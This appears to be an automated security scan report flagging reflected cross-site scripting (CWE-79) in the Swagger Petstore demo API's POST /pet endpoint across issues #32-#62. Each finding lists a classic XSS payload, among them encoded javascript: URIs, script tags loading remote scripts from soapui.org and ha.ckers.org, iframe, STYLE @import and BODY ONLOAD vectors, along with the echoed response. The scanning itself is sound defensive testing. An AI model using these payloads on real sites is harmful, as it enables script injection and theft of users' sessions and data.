Request $.name	{"id":0,"category":{"id":0,"name":"string"},"name":"<IMG SRC=&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041>","photoUrls":["string"],"tags":[{"id":0,"name":"string"}],"status":"available"}

Response

Content-type: application/json
Content length: 367
Full response:

```
{"id":9216678377732943722,"category":{"id":0,"name":"string"},"name":"<IMG
SRC=&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&
#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&
#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041>",
"photoUrls":["string"],"tags":[{"id":0,"name":"string"}],"status":"
available"}
```

Alerts Cross Site Scripting Detection: Content that is sent in request '<IMG SRC=&#0000106&#00... ' is exposed in response. Possibility for XSS script attack in: POST

Action Points You should ensure that HTML tags passed into the parameter `Request $.name` will not be echoed back in the response

CWE-ID CWE-79

Issue Number #32

Scan Cross Site Scripting

Severity ERROR

Endpoint https://petstore.swagger.io/v2/pet

Request POST https://petstore.swagger.io/v2/pet HTTP/1.1

Test Step POST

Modified Parameters

Name	Value
Request $.name	{"id":0,"category":{"id":0,"name":"string"},"name":"<IMG SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>","photoUrls":["string"],"tags":[{"id":0,"name":"string"}],"status":"available"}

Response

Content-type: application/json
Content length: 275
Full response:

```
{"id":9216678377732943723,"category":{"id":0,"name":"string"},"name":"<IMG
SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#
x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>","photoUrls":["string"],
"tags":[{"id":0,"name":"string"}],"status":"available"}
```

Alerts Cross Site Scripting Detection: Content that is sent in request '<IMG SRC=&#x6A&#x61&#x... ' is exposed in response. Possibility for XSS script attack in: POST

Action Points You should ensure that HTML tags passed into the parameter `Request $.name` will not be echoed back in the response

CWE-ID CWE-79

Issue Number #33

Scan Cross Site Scripting

Severity ERROR

Endpoint https://petstore.swagger.io/v2/pet

Request POST https://petstore.swagger.io/v2/pet HTTP/1.1

Test Step POST

Modified Parameters

Name	Value
Request $.name	{"id":0,"category":{"id":0,"name":"string"},"name":"<SCRIPT SRC=http://soapui.org/xss.js?<B>","photoUrls":["string"],"tags":[{"id":0,"name":"string"}],"status":"available"}

Response

Content-type: application/json
Content length: 190
Full response:

```
{"id":9216678377732943737,"category":{"id":0,"name":"string"},"name":"<
SCRIPT SRC=http://soapui.org/xss.js?<B>","photoUrls":["string"],"tags":[{"
id":0,"name":"string"}],"status":"available"}
```

Alerts Cross Site Scripting Detection: Content that is sent in request '<SCRIPT SRC=http://soa... ' is exposed in response. Possibility for XSS script attack in: POST

Action Points You should ensure that HTML tags passed into the parameter `Request $.name` will not be echoed back in the response

CWE-ID CWE-79

Issue Number #34

Scan Cross Site Scripting

Severity ERROR

Endpoint https://petstore.swagger.io/v2/pet

Request POST https://petstore.swagger.io/v2/pet HTTP/1.1

Test Step POST

Modified Parameters

Name	Value
Request $.name	{"id":0,"category":{"id":0,"name":"string"},"name":"<SCRIPT SRC=//ha.ckers.org/.j>","photoUrls":["string"],"tags":[{"id":0,"name":"string"}],"status":"available"}

Response

Content-type: application/json
Content length: 180
Full response:

```
{"id":9216678377732943738,"category":{"id":0,"name":"string"},"name":"<SCRIPT SRC=//ha.ckers.org/.j>","photoUrls":["string"],"tags":[{"id":0,"name":"string"}],"status":"available"}
```

Alerts Cross Site Scripting Detection: Content that is sent in request '<SCRIPT SRC=//ha.ckers... ' is exposed in response. Possibility for XSS script attack in: POST

Action Points You should ensure that HTML tags passed into the parameter `Request $.name` will not be echoed back in the response

CWE-ID CWE-79

Issue Number #35

Scan Cross Site Scripting

Severity ERROR

Endpoint https://petstore.swagger.io/v2/pet

Request POST https://petstore.swagger.io/v2/pet HTTP/1.1

Test Step POST

Modified Parameters

Name	Value
Request $.name	{"id":0,"category":{"id":0,"name":"string"},"name":"<iframe src=http://soapui.org/scriptlet.html <","photoUrls":["string"],"tags":[{"id":0,"name":"string"}],"status":"available"}

Response

Content-type: application/json
Content length: 196
Full response:

```
{"id":9216678377732943740,"category":{"id":0,"name":"string"},"name":"<iframe src=http://soapui.org/scriptlet.html <","photoUrls":["string"],"tags":[{"id":0,"name":"string"}],"status":"available"}
```

Alerts Cross Site Scripting Detection: Content that is sent in request '<iframe src=http://soa... ' is exposed in response. Possibility for XSS script attack in: POST

Action Points You should ensure that HTML tags passed into the parameter `Request $.name` will not be echoed back in the response

CWE-ID CWE-79

Issue Number #36

Scan Cross Site Scripting

Severity ERROR

Endpoint https://petstore.swagger.io/v2/pet

Request POST https://petstore.swagger.io/v2/pet HTTP/1.1

Test Step POST

Modified Parameters

Name	Value
Request $.name	{"id":0,"category":{"id":0,"name":"string"},"name":"<SCRIPT>a=/XSS/alert(a.source)</SCRIPT>","photoUrls":["string"],"tags":[{"id":0,"name":"string"}],"status":"available"}

Response

Content-type: application/json
Content length: 189
Full response:

```
{"id":9216678377732943741,"category":{"id":0,"name":"string"},"name":"<
SCRIPT>a=/XSS/alert(a.source)</SCRIPT>","photoUrls":["string"],"tags":[{"
id":0,"name":"string"}],"status":"available"}
```

Alerts Cross Site Scripting Detection: Content that is sent in request '<SCRIPT>a=/XSS/alert(a... ' is exposed in response. Possibility for XSS script attack in: POST

Action Points You should ensure that HTML tags passed into the parameter `Request $.name` will not be echoed back in the response

CWE-ID CWE-79

Issue Number #37

Scan Cross Site Scripting

Severity ERROR

Endpoint https://petstore.swagger.io/v2/pet

Request POST https://petstore.swagger.io/v2/pet HTTP/1.1

Test Step POST

Modified Parameters

Name	Value
Request $.name	{"id":0,"category":{"id":0,"name":"string"},"name":"\\\";alert('XSS');//","photoUrls":["string"],"tags":[{"id":0,"name":"string"}],"status":"available"}

Response

Content-type: application/json
Content length: 170
Full response:

```
{"id":9216678377732943742,"category":{"id":0,"name":"string"},"name":"\\\"
;alert('XSS');//","photoUrls":["string"],"tags":[{"id":0,"name":"string"}]
,"status":"available"}
```

Alerts Cross Site Scripting Detection: Content that is sent in request '\";alert('XSS');//' is exposed in response. Possibility for XSS script attack in: POST

Action Points You should ensure that HTML tags passed into the parameter `Request $.name` will not be echoed back in the response

CWE-ID CWE-79

Issue Number #38

Scan Cross Site Scripting

Severity ERROR

Endpoint https://petstore.swagger.io/v2/pet

Request POST https://petstore.swagger.io/v2/pet HTTP/1.1

Test Step POST

Modified Parameters

Name	Value
Request $.name	{"id":0,"category":{"id":0,"name":"string"},"name":"<BODY ONLOAD=alert('XSS')>","photoUrls":["string"],"tags":[{"id":0," name":"string"}],"status":"available"}

Response

Content-type: application/json
Content length: 176
Full response:

```
{"id":9216678377732943749,"category":{"id":0,"name":"string"},"name":"<
BODY ONLOAD=alert('XSS')>","photoUrls":["string"],"tags":[{"id":0,"name":"
string"}],"status":"available"}
```

Alerts Cross Site Scripting Detection: Content that is sent in request '<BODY ONLOAD=alert('XS... ' is exposed in response. Possibility for XSS script attack in: POST

Action Points You should ensure that HTML tags passed into the parameter `Request $.name` will not be echoed back in the response

CWE-ID CWE-79

Issue Number #39

Scan Cross Site Scripting

Severity ERROR

Endpoint https://petstore.swagger.io/v2/pet

Request POST https://petstore.swagger.io/v2/pet HTTP/1.1

Test Step POST

Modified Parameters

Name	Value
Request $.name	{"id":0,"category":{"id":0,"name":"string"},"name":"<STYLE>@import'http://soapui.org/xss.css';</STYLE>","photoUrls":["string"]," tags":[{"id":0,"name":"string"}],"status":"available"}

Response

Content-type: application/json
Content length: 200
Full response:

```
{"id":9216678377732943760,"category":{"id":0,"name":"string"},"name":"<
STYLE>@import'http://soapui.org/xss.css';</STYLE>","photoUrls":["string"],
"tags":[{"id":0,"name":"string"}],"status":"available"}
```

Alerts Cross Site Scripting Detection: Content that is sent in request '<STYLE>@import'http://... ' is exposed in response. Possibility for XSS script attack in: POST

Action Points You should ensure that HTML tags passed into the parameter `Request $.name` will not be echoed back in the response

CWE-ID CWE-79

Issue Number #40

Scan Cross Site Scripting

Severity ERROR

Endpoint https://petstore.swagger.io/v2/pet

Request POST https://petstore.swagger.io/v2/pet HTTP/1.1

Test Step POST

Modified Parameters

Name	Value
Request $.name	{"id":0,"category":{"id":0,"name":"string"},"name":"ï¿½scriptï¿½alert(ï¿½XSSï¿½)ï¿½/scriptï¿½","photoUrls":["string"],"tags":[{" id":0,"name":"string"}],"status":"available"}

Response

Content-type: application/json
Content length: 191
Full response:

```
{"id":9216678377732943770,"category":{"id":0,"name":"string"},"name":"ï¿½scriptï¿½alert(ï¿½XSSï¿½)ï¿½/scriptï¿½","photoUrls":["string"],"tags":[{"id":0,"name":"string"}],"status":"available"}
```

Alerts Cross Site Scripting Detection: Content that is sent in request 'ï¿½scriptï¿½alert(ï¿½X... ' is exposed in response. Possibility for XSS script attack in: POST

Action Points You should ensure that HTML tags passed into the parameter `Request $.name` will not be echoed back in the response

CWE-ID CWE-79

Issue Number #41

Scan Cross Site Scripting

Severity ERROR

Endpoint https://petstore.swagger.io/v2/pet

Request POST https://petstore.swagger.io/v2/pet HTTP/1.1

Test Step POST

Modified Parameters

Name	Value
Request $.name	{"id":0,"category":{"id":0,"name":"string"},"name":"<!--[if gte IE 4]><SCRIPT>alert('XSS');</SCRIPT><![endif]-->","photoUrls":["string"],"tags":[{"id":0,"name":"string"}],"status":"available"}

Response

Content-type: application/json
Content length: 210
Full response:

```
{"id":9216678377732943792,"category":{"id":0,"name":"string"},"name":"<!--[if gte IE 4]><SCRIPT>alert('XSS');</SCRIPT><![endif]-->","photoUrls":["string"],"tags":[{"id":0,"name":"string"}],"status":"available"}
```

Alerts Cross Site Scripting Detection: Content that is sent in request '<!--[if gte IE 4]><SCR... ' is exposed in response. Possibility for XSS script attack in: POST

Action Points You should ensure that HTML tags passed into the parameter `Request $.name` will not be echoed back in the response

CWE-ID CWE-79

Issue Number #42

Scan Cross Site Scripting

Severity ERROR

Endpoint https://petstore.swagger.io/v2/pet

Request POST https://petstore.swagger.io/v2/pet HTTP/1.1

Test Step POST

Modified Parameters

Name	Value
Request $.name	{"id":0,"category":{"id":0,"name":"string"},"name":"<OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=javascript:alert('XSS')></OBJECT>","photoUrls":["string"],"tags":[{"id":0,"name":"string"}],"status":"available"}

Response

Content-type: application/json
Content length: 264
Full response:

```
{"id":9216678377732943795,"category":{"id":0,"name":"string"},"name":"<
OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url
value=javascript:alert('XSS')></OBJECT>","photoUrls":["string"],"tags":[{"
id":0,"name":"string"}],"status":"available"}
```

Alerts Cross Site Scripting Detection: Content that is sent in request '<OBJECT classid=clsid:... ' is exposed in response. Possibility for XSS script attack in: POST

Action Points You should ensure that HTML tags passed into the parameter `Request $.name` will not be echoed back in the response

CWE-ID CWE-79

Issue Number #43

Scan Cross Site Scripting

Severity ERROR

Endpoint https://petstore.swagger.io/v2/pet

Request POST https://petstore.swagger.io/v2/pet HTTP/1.1

Test Step POST

Modified Parameters

Name	Value
Request $.name	{"id":0,"category":{"id":0,"name":"string"},"name":"Redirect 302 /a.jpg http://soapui.org/admin.asp&deleteuser","photoUrls":["string"],"tags":[{"id":0,"name":"string"}],"status":"available"}

Response

Content-type: application/json
Content length: 208
Full response:

```
{"id":9216678377732943805,"category":{"id":0,"name":"string"},"name":"
Redirect 302 /a.jpg http://soapui.org/admin.asp&deleteuser","photoUrls":["
string"],"tags":[{"id":0,"name":"string"}],"status":"available"}
```

Alerts Cross Site Scripting Detection: Content that is sent in request 'Redirect 302 /a.jpg ht... ' is exposed in response. Possibility for XSS script attack in: POST

Action Points You should ensure that HTML tags passed into the parameter `Request $.name` will not be echoed back in the response

CWE-ID CWE-79

Issue Number #44

Scan Cross Site Scripting

Severity ERROR

Endpoint https://petstore.swagger.io/v2/pet

Request POST https://petstore.swagger.io/v2/pet HTTP/1.1

Test Step POST

Modified Parameters

Name	Value
Request $.photoUrls[0]	{"id":0,"category":{"id":0,"name":"string"},"name":"doggie","photoUrls":["<PLAINTEXT>"],"tags":[{"id":0,"name":"string"}],"status":"available"}

Response

Content-type: application/json
Content length: 161
Full response:

```
{"id":9216678377732943815,"category":{"id":0,"name":"string"},"name":"
doggie","photoUrls":["<PLAINTEXT>"],"tags":[{"id":0,"name":"string"}],"
status":"available"}
```

Alerts Cross Site Scripting Detection: Content that is sent in request '<PLAINTEXT>' is exposed in response. Possibility for XSS script attack in: POST

Action Points You should ensure that HTML tags passed into the parameter `Request $.photoUrls[0]` will not be echoed back in the response

CWE-ID CWE-79

Issue Number #45

Scan Cross Site Scripting

Severity ERROR

Endpoint https://petstore.swagger.io/v2/pet

Request POST https://petstore.swagger.io/v2/pet HTTP/1.1

Test Step POST

Modified Parameters

Name	Value
Request $.photoUrls[0]	{"id":0,"category":{"id":0,"name":"string"},"name":"doggie"," photoUrls":["<SCRIPT SRC=http://soapui.org/xss.js></SCRIPT> "],"tags":[{"id":0,"name":"string"}],"status":"available"}

Response

Content-type: application/json
Content length: 196
Full response:

```
{"id":9216678377732943818,"category":{"id":0,"name":"string"},"name":"
doggie","photoUrls":["<SCRIPT SRC=http://soapui.org/xss.js></SCRIPT>"],"
tags":[{"id":0,"name":"string"}],"status":"available"}
```

Alerts Cross Site Scripting Detection: Content that is sent in request '<SCRIPT SRC=http://soa... ' is exposed in response. Possibility for XSS script attack in: POST

Action Points You should ensure that HTML tags passed into the parameter `Request $.photoUrls[0]` will not be echoed back in the response

CWE-ID CWE-79

Issue Number #46

Scan Cross Site Scripting

Severity ERROR

Endpoint https://petstore.swagger.io/v2/pet

Request POST https://petstore.swagger.io/v2/pet HTTP/1.1

Test Step POST

Modified Parameters

Name	Value
Request $.photoUrls[0]	{"id":0,"category":{"id":0,"name":"string"},"name":"doggie"," photoUrls":["<IMG SRC=javascript:alert('XSS')>"],"tags":[{"id":0, "name":"string"}],"status":"available"}

Response

Content-type: application/json
Content length: 183
Full response:

```
{"id":9216678377732943820,"category":{"id":0,"name":"string"},"name":"
doggie","photoUrls":["<IMG SRC=javascript:alert('XSS')>"],"tags":[{"id":0,
"name":"string"}],"status":"available"}
```

Alerts

- Cross Site Scripting Detection: Content that is sent in request '<IMG SRC=javascript: al... ' is exposed in response. Possibility for XSS script attack in: POST
- Cross Site Scripting Detection: Content that is sent in request '<IMG SRC= JaVaScRiPt:al... ' is exposed in response. Possibility for XSS script attack in: POST

Action Points You should ensure that HTML tags passed into the parameter `Request $.photoUrls[0]` will not be echoed back in the response

CWE-ID CWE-79

Issue Number #47

Scan Cross Site Scripting

Severity ERROR

Endpoint https://petstore.swagger.io/v2/pet

Request POST https://petstore.swagger.io/v2/pet HTTP/1.1

Test Step POST

Modified Parameters

Name	Value
Request $.photoUrls[0]	{"id":0,"category":{"id":0,"name":"string"},"name":"doggie","photoUrls":["<IMG SRC=JaVaScRiPt:alert('XSS')>"],"tags":[{"id":0,"name":"string"}],"status":"available"}

Response

Content-type: application/json
Content length: 183
Full response:

```
{"id":9216678377732943821,"category":{"id":0,"name":"string"},"name":"doggie","photoUrls":["<IMG SRC=JaVaScRiPt:alert('XSS')>"],"tags":[{"id":0,"name":"string"}],"status":"available"}
```

Alerts

- Cross Site Scripting Detection: Content that is sent in request '<IMG SRC=javascript:al... ' is exposed in response. Possibility for XSS script attack in: POST
- Cross Site Scripting Detection: Content that is sent in request '<IMG SRC=JaVaScRiPt:al... ' is exposed in response. Possibility for XSS script attack in: POST

Action Points You should ensure that HTML tags passed into the parameter `Request $.photoUrls[0]` will not be echoed back in the response

CWE-ID CWE-79

Issue Number #48

Scan Cross Site Scripting

Severity ERROR

Endpoint https://petstore.swagger.io/v2/pet

Request POST https://petstore.swagger.io/v2/pet HTTP/1.1

Test Step POST

Modified Parameters

Name	Value
Request $.photoUrls[0]	{"id":0,"category":{"id":0,"name":"string"},"name":"doggie","photoUrls":["<IMG SRC=javascript:alert(&quot;XSS&quot;)>"],"tags":[{"id":0,"name":"string"}],"status":"available"}

Response

Content-type: application/json
Content length: 193
Full response:

```
{"id":9216678377732943822,"category":{"id":0,"name":"string"},"name":"doggie","photoUrls":["<IMG SRC=javascript:alert(&quot;XSS&quot;)>"],"tags":[{"id":0,"name":"string"}],"status":"available"}
```

Alerts Cross Site Scripting Detection: Content that is sent in request '<IMG SRC=javascript:al... ' is exposed in response. Possibility for XSS script attack in: POST

Action Points You should ensure that HTML tags passed into the parameter `Request $.photoUrls[0]` will not be echoed back in the response

CWE-ID CWE-79

Issue Number #49

Scan Cross Site Scripting

Severity ERROR

Endpoint https://petstore.swagger.io/v2/pet

Request POST https://petstore.swagger.io/v2/pet HTTP/1.1

Test Step POST

Modified Parameters

Name	Value
Request $.photoUrls[0]	{"id":0,"category":{"id":0,"name":"string"},"name":"doggie","photoUrls":["<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>"],"tags":[{"id":0,"name":"string"}],"status":"available"}

Response

Content-type: application/json
Content length: 207
Full response:

```
{"id":9216678377732943825,"category":{"id":0,"name":"string"},"name":"
doggie","photoUrls":["<IMG SRC=javascript:alert(String.fromCharCode(
88,83,83))>"],"tags":[{"id":0,"name":"string"}],"status":"available"}
```

Alerts Cross Site Scripting Detection: Content that is sent in request '<IMG SRC=javascript:al... ' is exposed in response. Possibility for XSS script attack in: POST

Action Points You should ensure that HTML tags passed into the parameter `Request $.photoUrls[0]` will not be echoed back in the response

CWE-ID CWE-79

Issue Number #50

Scan Cross Site Scripting

Severity ERROR

Endpoint https://petstore.swagger.io/v2/pet

Request POST https://petstore.swagger.io/v2/pet HTTP/1.1

Test Step POST

Modified Parameters

Name	Value
Request $.photoUrls[0]	{"id":0,"category":{"id":0,"name":"string"},"name":"doggie","photoUrls":["<IMG SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;>"],"tags":[{"id":0,"name":"string"}],"status":"available"}

Response

Content-type: application/json
Content length: 286
Full response:

```
{"id":9216678377732943826,"category":{"id":0,"name":"string"},"name":"
doggie","photoUrls":["<IMG SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&
#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&
#83;&#39;&#41;>"],"tags":[{"id":0,"name":"string"}],"status":"available"}
```

Alerts Cross Site Scripting Detection: Content that is sent in request '<IMG SRC=&#106;&#97;&#... ' is exposed in response. Possibility for XSS script attack in: POST

Action Points You should ensure that HTML tags passed into the parameter `Request $.photoUrls[0]` will not be echoed back in the response

CWE-ID CWE-79

Issue Number #51

Scan Cross Site Scripting

Severity ERROR

Endpoint https://petstore.swagger.io/v2/pet

Request POST https://petstore.swagger.io/v2/pet HTTP/1.1

Test Step POST

Modified Parameters

Name	Value
Request $.photoUrls[0]	{"id":0,"category":{"id":0,"name":"string"},"name":"doggie","photoUrls":["<IMG SRC=&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041>"],"tags":[{"id":0,"name":"string"}],"status":"available"}

Response

Content-type: application/json
Content length: 367
Full response:

```
{"id":9216678377732943827,"category":{"id":0,"name":"string"},"name":"
doggie","photoUrls":["<IMG SRC=&#0000106&#0000097&#0000118&#0000097&
#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&
#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&
#0000083&#0000039&#0000041>"],"tags":[{"id":0,"name":"string"}],"status":"
available"}
```

Alerts Cross Site Scripting Detection: Content that is sent in request '<IMG SRC=&#0000106&#00... ' is exposed in response. Possibility for XSS script attack in: POST

Action Points You should ensure that HTML tags passed into the parameter `Request $.photoUrls[0]` will not be echoed back in the response

CWE-ID CWE-79

Issue Number #52

Scan Cross Site Scripting

Severity ERROR

Endpoint https://petstore.swagger.io/v2/pet

Request POST https://petstore.swagger.io/v2/pet HTTP/1.1

Test Step POST

Modified Parameters

Name	Value
Request $.photoUrls[0]	{"id":0,"category":{"id":0,"name":"string"},"name":"doggie","photoUrls":["<IMG SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>"],"tags":[{"id":0,"name":"string"}],"status":"available"}

Response

Content-type: application/json
Content length: 275
Full response:

```
{"id":9216678377732943828,"category":{"id":0,"name":"string"},"name":"
doggie","photoUrls":["<IMG SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#
x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>
"],"tags":[{"id":0,"name":"string"}],"status":"available"}
```

Alerts Cross Site Scripting Detection: Content that is sent in request '<IMG SRC=&#x6A&#x61&#x... ' is exposed in response. Possibility for XSS script attack in: POST

Action Points You should ensure that HTML tags passed into the parameter `Request $.photoUrls[0]` will not be echoed back in the response

CWE-ID CWE-79

Issue Number #53

Scan Cross Site Scripting

Severity ERROR

Endpoint https://petstore.swagger.io/v2/pet

Request POST https://petstore.swagger.io/v2/pet HTTP/1.1

Test Step POST

Modified Parameters

Name	Value
Request $.photoUrls[0]	{"id":0,"category":{"id":0,"name":"string"},"name":"doggie","photoUrls":["<SCRIPT SRC=http://soapui.org/xss.js?<B>"],"tags":[{"id":0,"name":"string"}],"status":"available"}

Response

Content-type: application/json
Content length: 190
Full response:

```
{"id":9216678377732943840,"category":{"id":0,"name":"string"},"name":"
doggie","photoUrls":["<SCRIPT SRC=http://soapui.org/xss.js?<B>"],"tags":[{
"id":0,"name":"string"}],"status":"available"}
```

Alerts Cross Site Scripting Detection: Content that is sent in request '<SCRIPT SRC=http://soa... ' is exposed in response. Possibility for XSS script attack in: POST

Action Points You should ensure that HTML tags passed into the parameter `Request $.photoUrls[0]` will not be echoed back in the response

CWE-ID CWE-79

Issue Number #54

Scan Cross Site Scripting

Severity ERROR

Endpoint https://petstore.swagger.io/v2/pet

Request POST https://petstore.swagger.io/v2/pet HTTP/1.1

Test Step POST

Modified Parameters

Name	Value
Request $.photoUrls[0]	{"id":0,"category":{"id":0,"name":"string"},"name":"doggie","photoUrls":["<SCRIPT SRC=//ha.ckers.org/.j>"],"tags":[{"id":0,"name":"string"}],"status":"available"}

Response

Content-type: application/json
Content length: 180
Full response:

```
{"id":9216678377732943841,"category":{"id":0,"name":"string"},"name":"
doggie","photoUrls":["<SCRIPT SRC=//ha.ckers.org/.j>"],"tags":[{"id":0,"
name":"string"}],"status":"available"}
```

Alerts Cross Site Scripting Detection: Content that is sent in request '<SCRIPT SRC=//ha.ckers... ' is exposed in response. Possibility for XSS script attack in: POST

Action Points You should ensure that HTML tags passed into the parameter `Request $.photoUrls[0]` will not be echoed back in the response

CWE-ID CWE-79

Issue Number #55

Scan Cross Site Scripting

Severity ERROR

Endpoint https://petstore.swagger.io/v2/pet

Request POST https://petstore.swagger.io/v2/pet HTTP/1.1

Test Step POST

Modified Parameters

Name	Value
Request $.photoUrls[0]	{"id":0,"category":{"id":0,"name":"string"},"name":"doggie","photoUrls":["<iframe src=http://soapui.org/scriptlet.html <"],"tags":[{"id":0,"name":"string"}],"status":"available"}

Response

Content-type: application/json
Content length: 196
Full response:

```
{"id":9216678377732943843,"category":{"id":0,"name":"string"},"name":"
doggie","photoUrls":["<iframe src=http://soapui.org/scriptlet.html <"],"
tags":[{"id":0,"name":"string"}],"status":"available"}
```

Alerts Cross Site Scripting Detection: Content that is sent in request '<iframe src=http://soa... ' is exposed in response. Possibility for XSS script attack in: POST

Action Points You should ensure that HTML tags passed into the parameter `Request $.photoUrls[0]` will not be echoed back in the response

CWE-ID CWE-79

Issue Number #56

Scan Cross Site Scripting

Severity ERROR

Endpoint https://petstore.swagger.io/v2/pet

Request POST https://petstore.swagger.io/v2/pet HTTP/1.1

Test Step POST

Modified Parameters

Name	Value
Request $.photoUrls[0]	{"id":0,"category":{"id":0,"name":"string"},"name":"doggie"," photoUrls":["<SCRIPT>a=/XSS/alert(a.source)</SCRIPT>"]," tags":[{"id":0,"name":"string"}],"status":"available"}

Response

Content-type: application/json
Content length: 189
Full response:

```
{"id":9216678377732943844,"category":{"id":0,"name":"string"},"name":"
doggie","photoUrls":["<SCRIPT>a=/XSS/alert(a.source)</SCRIPT>"],"tags":[{"
id":0,"name":"string"}],"status":"available"}
```

Alerts Cross Site Scripting Detection: Content that is sent in request '<SCRIPT>a=/XSS/alert(a... ' is exposed in response. Possibility for XSS script attack in: POST

Action Points You should ensure that HTML tags passed into the parameter `Request $.photoUrls[0]` will not be echoed back in the response

CWE-ID CWE-79

Issue Number #57

Scan Cross Site Scripting

Severity ERROR

Endpoint https://petstore.swagger.io/v2/pet

Request POST https://petstore.swagger.io/v2/pet HTTP/1.1

Test Step POST

Modified Parameters

Name	Value
Request $.photoUrls[0]	{"id":0,"category":{"id":0,"name":"string"},"name":"doggie"," photoUrls":["\\\";alert('XSS');//"],"tags":[{"id":0,"name":"string"}]," status":"available"}

Response

Content-type: application/json
Content length: 170
Full response:

```
{"id":9216678377732943845,"category":{"id":0,"name":"string"},"name":"
doggie","photoUrls":["\\\";alert('XSS');//"],"tags":[{"id":0,"name":"
string"}],"status":"available"}
```

Alerts Cross Site Scripting Detection: Content that is sent in request '\";alert('XSS');//' is exposed in response. Possibility for XSS script attack in: POST

Action Points You should ensure that HTML tags passed into the parameter `Request $.photoUrls[0]` will not be echoed back in the response

CWE-ID CWE-79

Issue Number #58

Scan Cross Site Scripting

Severity ERROR

Endpoint https://petstore.swagger.io/v2/pet

Request POST https://petstore.swagger.io/v2/pet HTTP/1.1

Test Step POST

Modified Parameters

Name	Value
Request $.photoUrls[0]	{"id":0,"category":{"id":0,"name":"string"},"name":"doggie","photoUrls":["<BODY ONLOAD=alert('XSS')>"],"tags":[{"id":0,"name":"string"}],"status":"available"}

Response

Content-type: application/json
Content length: 176
Full response:

```
{"id":9216678377732943849,"category":{"id":0,"name":"string"},"name":"doggie","photoUrls":["<BODY ONLOAD=alert('XSS')>"],"tags":[{"id":0,"name":"string"}],"status":"available"}
```

Alerts Cross Site Scripting Detection: Content that is sent in request '<BODY ONLOAD=alert('XS... ' is exposed in response. Possibility for XSS script attack in: POST

Action Points You should ensure that HTML tags passed into the parameter `Request $.photoUrls[0]` will not be echoed back in the response

CWE-ID CWE-79

Issue Number #59

Scan Cross Site Scripting

Severity ERROR

Endpoint https://petstore.swagger.io/v2/pet

Request POST https://petstore.swagger.io/v2/pet HTTP/1.1

Test Step POST

Modified Parameters

Name	Value
Request $.photoUrls[0]	{"id":0,"category":{"id":0,"name":"string"},"name":"doggie","photoUrls":["<STYLE>@import'http://soapui.org/xss.css';</STYLE>"],"tags":[{"id":0,"name":"string"}],"status":"available"}

Response

Content-type: application/json
Content length: 200
Full response:

```
{"id":9216678377732943857,"category":{"id":0,"name":"string"},"name":"doggie","photoUrls":["<STYLE>@import'http://soapui.org/xss.css';</STYLE>"],"tags":[{"id":0,"name":"string"}],"status":"available"}
```

Alerts Cross Site Scripting Detection: Content that is sent in request '<STYLE>@import'http://... ' is exposed in response. Possibility for XSS script attack in: POST

Action Points You should ensure that HTML tags passed into the parameter `Request $.photoUrls[0]` will not be echoed back in the response

CWE-ID CWE-79

Issue Number #60

Scan Cross Site Scripting

Severity ERROR

Endpoint https://petstore.swagger.io/v2/pet

Request POST https://petstore.swagger.io/v2/pet HTTP/1.1

Test Step POST

Modified Parameters

Name	Value
Request $.photoUrls[0]	{"id":0,"category":{"id":0,"name":"string"},"name":"doggie","photoUrls":["ï¿½scriptï¿½alert(ï¿½XSSï¿½)ï¿½/scriptï¿½"],"tags":[{"id":0,"name":"string"}],"status":"available"}

Response

Content-type: application/json
Content length: 191
Full response:

```
{"id":9216678377732943865,"category":{"id":0,"name":"string"},"name":"
doggie","photoUrls":["ï¿½scriptï¿½alert(ï¿½XSSï¿½)ï¿½/scriptï¿½"],"tags":[
{"id":0,"name":"string"}],"status":"available"}
```

Alerts Cross Site Scripting Detection: Content that is sent in request 'ï¿½scriptï¿½alert(ï¿½X... ' is exposed in response. Possibility for XSS script attack in: POST

Action Points You should ensure that HTML tags passed into the parameter `Request $.photoUrls[0]` will not be echoed back in the response

CWE-ID CWE-79

Issue Number #61

Scan Cross Site Scripting

Severity ERROR

Endpoint https://petstore.swagger.io/v2/pet

Request POST https://petstore.swagger.io/v2/pet HTTP/1.1

Test Step POST

Modified Parameters

Name	Value
Request $.photoUrls[0]	{"id":0,"category":{"id":0,"name":"string"},"name":"doggie","photoUrls":["<FRAMESET><FRAME SRC=\"javascript:alert('XSS');\"></FRAMESET>"],"tags":[{"id":0,"name":"string"}],"status":"available"}

Response *No content*

Alerts

- Sensitive Information Exposure: null/empty response body
- Cross Site Scripting Detection: null/empty response body

Action Points You should ensure that HTML tags passed into the parameter `Request $.photoUrls[0]` will not be echoed back in the response

CWE-ID CWE-79

Issue Number #62

Scan Cross Site Scripting

Severity ERROR

Endpoint https://petstore.swagger.io/v2/pet

